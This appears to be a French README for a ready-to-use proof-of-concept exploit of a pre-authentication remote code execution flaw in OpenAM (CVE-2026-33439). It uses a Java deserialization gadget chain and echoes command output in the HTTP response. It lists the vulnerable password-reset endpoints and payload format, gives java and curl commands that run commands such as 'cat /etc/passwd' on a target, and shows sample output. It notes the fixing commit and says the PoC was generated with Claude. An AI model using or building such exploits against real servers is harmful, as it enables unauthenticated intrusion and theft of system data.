
Exploit pour RCE pré-authentification OpenAM (CVE-2026-33439) utilisant une chaîne de gadgets de désérialisation Java pour exécuter des commandes et renvoyer la sortie directement dans la réponse HTTP.
Sortie de commande directement dans la réponse HTTP — aucune exfiltration DNS ni OOB nécessaire.
Utilise com.iplanet.jato.RequestManager.getRequestContext() pour accéder à la
requête/réponse JATO ThreadLocal active pendant la désérialisation. Fonctionne sur Java 21+ où
les techniques d'écho Tomcat classiques (traversée Thread.target / ThreadGroup.threads) échouent.
javac pour la compilation du translet à l'exécution)click-nodeps-2.3.0.jar et xalan-2.7.x.jar dans le classpath| Point de terminaison | Sortie Echo |
|---|
/sso/ui/PWResetUserValidation | HTTP 200, sortie de commande dans le corps |
/sso/ui/PWResetQuestion | HTTP 200, sortie de commande dans le corps |
/sso/ui/PWResetSuccess | HTTP 200, sortie de commande dans le corps |
Également testés mais sans sortie echo (la désérialisation se déclenche quand même) :
/sso/ui/PWResetInvalidURL — page d'erreur renvoyée/sso/ui/PWResetUncaughtException — page d'erreur renvoyée./build.sh
Le JAR ajoute automatiquement les flags JVM --add-opens — pas besoin de les spécifier manuellement.
# Tout-en-un : générer la charge utile + envoyer + afficher la sortie (proxy via Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# Sans proxy Burp
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# Générer une charge utile réutilisable (la commande provient de l'en-tête 'cmd' au moment de la requête)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
PriorityQueue (chaîne de gadgets Click1 + Xalan TemplatesImpl)RequestManager.getRequestContext() pour obtenir la requête/réponse JATO activecmd, exécute sh -c <cmd>, écrit stdout+stderr dans response.getOutputStream()\x00 + Base64 URL-safe, sans padding)/sso/ui/PWResetUserValidation?jato.clientSession=<payload> (sans authentification)CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # JAR d'exploitation
build.sh # Script de compilation
MANIFEST.MF # Manifeste JAR
README.md # Ce fichier
lib/ # Dépendances (doivent rester à côté du JAR)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # Code source
Corrigé dans le commit OpenAM 014007c63cacc834cc795a89fac0e611aebc4a32 — ajoute un
filtre de classes à ObjectInputStream dans SessionEncodeURL.readSessionID().
Le PoC a été créé avec Claude ; le prompt était le write-up (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) et le commit Git (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)